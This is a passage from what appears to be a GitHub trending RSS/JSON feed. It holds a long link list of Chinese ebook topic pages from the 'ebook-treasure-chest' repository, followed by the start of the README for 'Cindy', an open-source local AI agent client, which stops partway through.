href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E7%B2%AE%E9%A3%9F%E3%80%81%E6%B2%B9%E8%84%82%E5%8F%8A%E6%A4%8D%E7%89%A9%E8%9B%8B%E7%99%BD%E5%B7%A5%E7%A8%8B.md\">\u7cae\u98df\u3001\u6cb9\u8102\u53ca\u690d\u7269\u86cb\u767d\u5de5\u7a0b(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%92%B8%E6%B1%BD%E6%9C%8B%E5%85%8B.md\">\u84b8\u6c7d\u670b\u514b(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E9%BB%91%E8%89%B2%E7%AB%A5%E8%AF%9D.md\">\u9ed1\u8272\u7ae5\u8bdd(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E7%BD%97%E9%A9%AC%E5%8F%B2.md\">\u7f57\u9a6c\u53f2(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%8D%B1%E6%9C%BA.md\">\u5371\u673a(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E7%88%B1%E8%BF%AA%E7%94%9F.md\">\u7231\u8fea\u751f(1)</a></li> \n <li><a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%B7%B4%E5%B0%94%E5%B9%B2.md\">\u5df4\u5c14\u5e72(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/PHP.md\">PHP(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E4%BC%A6%E7%90%86%E5%AD%A6.md\">\u4f26\u7406\u5b66(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%9B%BD%E9%99%85.md\">\u56fd\u9645(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%89%BA%E6%9C%AF%E6%96%87%E5%8C%96.md\">\u827a\u672f\u6587\u5316(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%AE%A1%E8%AE%A1.md\">\u5ba1\u8ba1(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%81%8B%E7%88%B1.md\">\u604b\u7231(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%94%BF%E8%AE%BA.md\">\u653f\u8bba(1)</a></li> \n <li><a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%83%A1%E9%80%82.md\">\u80e1\u9002(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%AF%BA%E8%B4%9D%E5%B0%94.md\">\u8bfa\u8d1d\u5c14(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%9C%8D%E5%8A%A1%E5%99%A8.md\">\u670d\u52a1\u5668(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%80%9F%E8%B4%B7.md\">\u501f\u8d37(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%AC%A7%E4%BA%A8%E5%88%A9.md\">\u6b27\u4ea8\u5229(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%85%B1%E6%83%85.md\">\u5171\u60c5(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E9%85%B7%E5%88%91.md\">\u9177\u5211(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%A4%A7%E5%B8%88.md\">\u5927\u5e08(1)</a></li> \n <li><a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%82%AF%E5%B0%BC%E8%BF%AA.md\">\u80af\u5c3c\u8fea(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%AF%97%E5%AD%A6.md\">\u8bd7\u5b66(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/FBI.md\">FBI(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/731.md\">731(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%AE%AA%E6%94%BF.md\">\u5baa\u653f(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%B4%87%E7%A5%AF.md\">\u5d07\u796f(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%94%AF%E7%BE%8E.md\">\u552f\u7f8e(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%97%B6%E6%9C%BA.md\">\u65f6\u673a(1)</a></li> \n <li><a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E9%87%8D%E5%BA%86.md\">\u91cd\u5e86(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%9F%BA%E7%9D%A3.md\">\u57fa\u7763(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%89%BA%E6%9C%AF%E5%8F%B2.md\">\u827a\u672f\u53f2(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%AF%8D%E6%9B%B2.md\">\u8bcd\u66f2(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E9%B8%A1%E5%B0%BE%E9%85%92.md\">\u9e21\u5c3e\u9152(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E7%94%B2%E5%8D%88%E6%88%98%E4%BA%89.md\">\u7532\u5348\u6218\u4e89(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%9C%9D%E9%B2%9C%E6%88%98%E4%BA%89.md\">\u671d\u9c9c\u6218\u4e89(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%87%AA%E8%BF%B0.md\">\u81ea\u8ff0(1)</a></li> \n <li><a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%95%B0%E7%90%86.md\">\u6570\u7406(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%93%A5%E4%BC%A6%E5%B8%83.md\">\u54e5\u4f26\u5e03(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%8C%A0%E4%BA%BA.md\">\u5320\u4eba(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E4%B8%96%E7%95%8C%E6%9D%AF.md\">\u4e16\u754c\u676f(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%97%A5%E5%B8%B8.md\">\u65e5\u5e38(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%9C%8D%E8%A3%85.md\">\u670d\u88c5(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%9C%A3%E7%BB%8F.md\">\u5723\u7ecf(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%85%83%E5%AE%87%E5%AE%99.md\">\u5143\u5b87\u5b99(1)</a></li> \n <li><a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E4%B9%A6%E5%8D%95.md\">\u4e66\u5355(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E7%A7%91%E5%AD%A6%E5%AE%B6.md\">\u79d1\u5b66\u5bb6(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%96%87%E6%98%8E%E5%8F%B2.md\">\u6587\u660e\u53f2(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%94%B6%E7%BA%B3.md\">\u6536\u7eb3(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E4%BC%A0%E7%BB%9F.md\">\u4f20\u7edf(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%88%90%E5%8A%9F%E5%AD%A6.md\">\u6210\u529f\u5b66(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E9%A9%AC%E4%BA%91.md\">\u9a6c\u4e91(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%96%AF%E5%9D%A6%E7%A6%8F.md\">\u65af\u5766\u798f(1)</a></li> \n <li><a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%86%B7%E7%AC%91%E8%AF%9D.md\">\u51b7\u7b11\u8bdd(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%95%99%E7%88%B6.md\">\u6559\u7236(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E9%BB%91%E6%9A%97.md\">\u9ed1\u6697(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%B6%88%E8%B4%B9%E8%80%85.md\">\u6d88\u8d39\u8005(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%8B%B1%E8%AF%AD%E8%AF%BB%E7%89%A9.md\">\u82f1\u8bed\u8bfb\u7269(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%B9%B6%E8%B4%AD.md\">\u5e76\u8d2d(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%8F%B2%E4%B9%A6.md\">\u53f2\u4e66(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%96%87%E5%8C%96%E5%A4%A7%E9%9D%A9%E5%91%BD.md\">\u6587\u5316\u5927\u9769\u547d(1)</a></li> \n <li><a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%AF%B9%E8%B0%88%E5%BD%95.md\">\u5bf9\u8c08\u5f55(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%A1%8C%E4%B8%BA%E5%AD%A6.md\">\u884c\u4e3a\u5b66(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%88%9B%E4%BD%9C.md\">\u521b\u4f5c(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%AF%92%E5%93%81.md\">\u6bd2\u54c1(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%9B%B9%E6%93%8D.md\">\u66f9\u64cd(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%83%B3%E8%B1%A1%E5%8A%9B.md\">\u60f3\u8c61\u529b(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%88%BF%E9%BE%99.md\">\u623f\u9f99(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%95%B0%E5%AD%97%E5%8C%96.md\">\u6570\u5b57\u5316(1)</a></li> \n <li><a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%9B%BC%E5%BE%B7%E6%8B%89.md\">\u66fc\u5fb7\u62c9(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%95%86%E5%9C%BA.md\">\u5546\u573a(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E9%93%B2%E5%B1%8E%E5%AE%98.md\">\u94f2\u5c4e\u5b98(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%B5%B7%E6%9D%83.md\">\u6d77\u6743(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/tableau.md\">tableau(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%97%A5%E8%80%B3%E6%9B%BC.md\">\u65e5\u8033\u66fc(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%8F%90%E5%8D%87.md\">\u63d0\u5347(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E4%B8%AD%E5%8D%8E.md\">\u4e2d\u534e(1)</a></li> \n <li><a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%B5%84%E4%BA%A7.md\">\u8d44\u4ea7(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%9F%83%E5%8D%9A%E6%8B%89.md\">\u57c3\u535a\u62c9(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%AD%A6%E5%BF%97%E7%BA%A2.md\">\u6b66\u5fd7\u7ea2(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%8B%8F%E5%B7%9E.md\">\u82cf\u5dde(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%BF%B7%E5%B9%BB.md\">\u8ff7\u5e7b(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%AD%8C%E8%B5%8B.md\">\u6b4c\u8d4b(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%8A%9B%E9%87%8F%E8%AE%AD%E7%BB%83.md\">\u529b\u91cf\u8bad\u7ec3(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E9%BB%91%E6%B4%9E.md\">\u9ed1\u6d1e(1)</a></li> \n <li><a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%A4%A7%E5%8A%BF.md\">\u5927\u52bf(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E9%9B%A8.md\">\u96e8(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%AD%A4%E7%8B%AC%E6%84%9F.md\">\u5b64\u72ec\u611f(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E9%9A%90%E7%A7%81.md\">\u9690\u79c1(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%8A%AD%E6%AF%94.md\">\u82ad\u6bd4(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/iOS.md\">iOS(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E4%BA%AC%E5%89%A7.md\">\u4eac\u5267(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%82%AC%E7%88%B1.md\">\u60ac\u7231(1)</a></li> \n <li><a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%B4%B8%E6%98%93%E6%88%98.md\">\u8d38\u6613\u6218(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%88%90%E5%90%89%E6%80%9D%E6%B1%97.md\">\u6210\u5409\u601d\u6c57(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%A4%96%E6%96%87.md\">\u5916\u6587(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%8F%AF%E5%8F%A3%E5%8F%AF%E4%B9%90.md\">\u53ef\u53e3\u53ef\u4e50(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%9F%BA%E7%9D%A3%E6%95%99.md\">\u57fa\u7763\u6559(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%B2%99%E7%9A%87.md\">\u6c99\u7687(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%BF%91%E8%A7%86.md\">\u8fd1\u89c6(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%B5%84%E6%9C%AC%E8%AE%BA.md\">\u8d44\u672c\u8bba(1)</a></li> \n <li><a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%9D%83%E5%88%A9.md\">\u6743\u5229(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%95%B0%E6%8D%AE%E5%8F%AF%E8%A7%86%E5%8C%96.md\">\u6570\u636e\u53ef\u89c6\u5316(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E4%BA%BA%E6%83%85.md\">\u4eba\u60c5(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%A0%BC%E6%9E%97%E7%AB%A5%E8%AF%9D.md\">\u683c\u6797\u7ae5\u8bdd(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%98%8E%E6%98%9F.md\">\u660e\u661f(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E7%8B%97.md\">\u72d7(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E4%B8%96%E7%95%8C%E6%98%AF.md\">\u4e16\u754c\u662f(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E9%AD%94%E5%85%BD.md\">\u9b54\u517d(1)</a></li> \n <li><a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E7%BD%91%E7%BB%9C%E6%97%B6%E4%BB%A3.md\">\u7f51\u7edc\u65f6\u4ee3(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%8B%89%E4%B8%81%E7%BE%8E%E6%B4%B2.md\">\u62c9\u4e01\u7f8e\u6d32(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E9%9B%B6%E9%A3%9F.md\">\u96f6\u98df(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E7%BE%8E%E6%B4%B2.md\">\u7f8e\u6d32(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%82%85%E9%9B%B7.md\">\u5085\u96f7(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%8C%B6%E6%96%87%E5%8C%96.md\">\u8336\u6587\u5316(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%B7%B1%E6%B5%B7.md\">\u6df1\u6d77(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%95%86%E5%8A%A1.md\">\u5546\u52a1(1)</a></li> \n <li><a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F.md\">\u64cd\u4f5c\u7cfb\u7edf(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%91%87%E6%BB%9A.md\">\u6447\u6eda(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E4%B8%96%E7%BA%AA%E4%B8%89%E9%83%A8%E6%9B%B2.md\">\u4e16\u7eaa\u4e09\u90e8\u66f2(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%85%90%E8%B4%A5.md\">\u8150\u8d25(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E7%BB%8F%E9%AA%8C.md\">\u7ecf\u9a8c(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%A4%A7%E8%84%91%E7%A7%91%E5%AD%A6.md\">\u5927\u8111\u79d1\u5b66(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%AE%B6%E5%BA%AD%E6%95%99%E8%82%B2.md\">\u5bb6\u5ead\u6559\u80b2(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%AD%A6%E6%9C%AF.md\">\u6b66\u672f(1)</a></li> \n <li><a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%AE%B6%E8%AE%AD.md\">\u5bb6\u8bad(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E6%95%99%E7%BB%83.md\">\u6559\u7ec3(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%9C%B0%E7%90%83.md\">\u5730\u7403(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%AE%BF%E8%B0%88%E5%BD%95.md\">\u8bbf\u8c08\u5f55(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E7%BB%B4%E4%B9%9F%E7%BA%B3.md\">\u7ef4\u4e5f\u7eb3(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%92%99%E7%94%B0.md\">\u8499\u7530(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%AD%A9%E5%AD%90.md\">\u5b69\u5b50(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80.md\">\u7f16\u7a0b\u8bed\u8a00(1)</a></li> \n <li><a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%87%AA%E7%84%B6%E7%A7%91%E5%AD%A6.md\">\u81ea\u7136\u79d1\u5b66(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%BE%AE%E8%BD%AF.md\">\u5fae\u8f6f(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%8D%8F%E5%90%8C.md\">\u534f\u540c(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%85%AC%E7%9B%8A.md\">\u516c\u76ca(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%A9%9A%E6%81%8B.md\">\u5a5a\u604b(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E7%A6%8F%E5%B0%94%E6%91%A9%E6%96%AF.md\">\u798f\u5c14\u6469\u65af(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E5%88%9B%E6%8A%95.md\">\u521b\u6295(1)</a> | - <a href=\"https://raw.githubusercontent.com/jbiaojerry/ebook-treasure-chest/main/md/%E8%BF%AA%E5%A3%AB%E5%B0%BC.md\">\u8fea\u58eb\u5c3c(1)</a></li> \n</ul>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}, {"id": "https://github.com/makecindy/cindy", "url": "https://github.com/makecindy/cindy", "external_url": null, "title": "makecindy/cindy", "content_text": "", "content_html": "<p>Consider it done. The open-source AI agent that works out of the box \u00b7 \u60f3\u5230\uff0c\u5c31\u80fd\u505a\u5230\u3002\u5f00\u6e90\u3001\u5f00\u7bb1\u5373\u7528\u7684 AI Agent\u3002</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://cindy.app\">https://cindy.app</a></p><hr /><p align=\"center\"> <a href=\"https://cindy.app\"><img alt=\"CINDY \u2014 Consider it done. The open-source AI agent that works out of the box, doing real work on your own computer.\" src=\"https://raw.githubusercontent.com/makecindy/cindy/main/.github/assets/hero-en.webp\" width=\"100%\" /></a> </p> \n<p align=\"center\"> <strong>English</strong> \u00b7 <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/README.zh-CN.md\">\u7b80\u4f53\u4e2d\u6587</a> </p> \n<p align=\"center\"> <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/LICENSE\"><img alt=\"License\" src=\"https://img.shields.io/badge/license-Apache--2.0-blue.svg?sanitize=true\" /></a> <a href=\"https://github.com/makecindy/cindy/actions/workflows/ci.yml\"><img alt=\"CI\" src=\"https://github.com/makecindy/cindy/actions/workflows/ci.yml/badge.svg?sanitize=true\" /></a> <a href=\"https://nodejs.org\"><img alt=\"Node.js 22.x\" src=\"https://img.shields.io/badge/node-22.x-brightgreen.svg?sanitize=true\" /></a> <a href=\"https://pnpm.io\"><img alt=\"pnpm\" src=\"https://img.shields.io/badge/pnpm-10-orange.svg?sanitize=true\" /></a> </p> \n<p align=\"center\"> \ud83c\udf10 <a href=\"https://cindy.app\">cindy.app</a> &nbsp;\u00b7&nbsp; \u2b07\ufe0f <a href=\"https://cindy.app/download/\">Download</a> </p> \n<p>Cindy is an open-source AI agent that works out of the box. She brings multiple harnesses, models and tools into one agent that finishes real work in your projects and apps. Ready from day one, yours to shape over time.</p> \n<p>Cindy runs locally on your own machine, using your real files and logged-in apps. The first supported harnesses are <strong>Claude Code</strong> and <strong>Codex</strong> \u2014 more are being added, and a native harness is in the works. Models and harnesses mix freely and can switch mid-task while your workspace, memory, skills and tools stay continuous; one task can even be planned, executed in parallel, and reviewed by agents on different harness \u00d7 model combos. She can drive your browser, computer and phone, and take work from IM and schedules.</p> \n<p>This repository is the open-source <strong>client</strong> for Cindy \u2014 the desktop and mobile apps plus their shared packages, organized as a pnpm monorepo.</p> \n<p>The client is free to use, and its source code is open under Apache-2.0. Bring models your way: sign in to the official Cindy service (usage deducted transparently), authorize the <strong>Claude Code / Codex Coding Plan</strong> you already pay for and keep using it inside Cindy \u2014 no duplicate bill \u2014 connect your own API keys, or use local models. See <a href=\"https://cindy.app\">cindy.app</a> for service details, <a href=\"https://cindy.app/#pricing\">pricing</a>, and <a href=\"https://cindy.app/download/\">downloads</a>.</p> \n<p>Linux users: see the <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/docs/linux.md\">Ubuntu, Arch Linux and Omarchy installation guide</a> for installation, updates, keyring setup and migration from a manual install.</p> \n<h2>Yours to shape</h2> \n<p>Open source means more than visible \u2014 it means changeable:</p> \n<ul> \n <li><strong>Memory</strong> \u2014 correct her once and she does it right from then on, shared across harnesses.</li> \n <li><strong>Skills</strong> \u2014 teach a way of working once and reuse it everywhere; handing them to your team is in the making.</li> \n <li><strong>Automation</strong> \u2014 recurring work schedules itself, runs itself, reports back.</li> \n <li><strong>MCP</strong> \u2014 wire your internal tools and business systems into her reach.</li> \n <li><strong>Plugins</strong> \u2014 reshape features, UI and interactions, shared through an open marketplace <em>(in the making)</em>.</li> \n <li><strong>Source</strong> \u2014 audit, fork, extend, and contribute improvements back under Apache-2.0.</li> \n</ul> \n<p>Ready out of the box, never boxed in \u2014 start with <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/CONTRIBUTING.en.md\"><code>CONTRIBUTING.en.md</code></a> and build Cindy with us.</p> \n<h2>What's in this repo</h2> \n<table> \n <thead> \n  <tr> \n   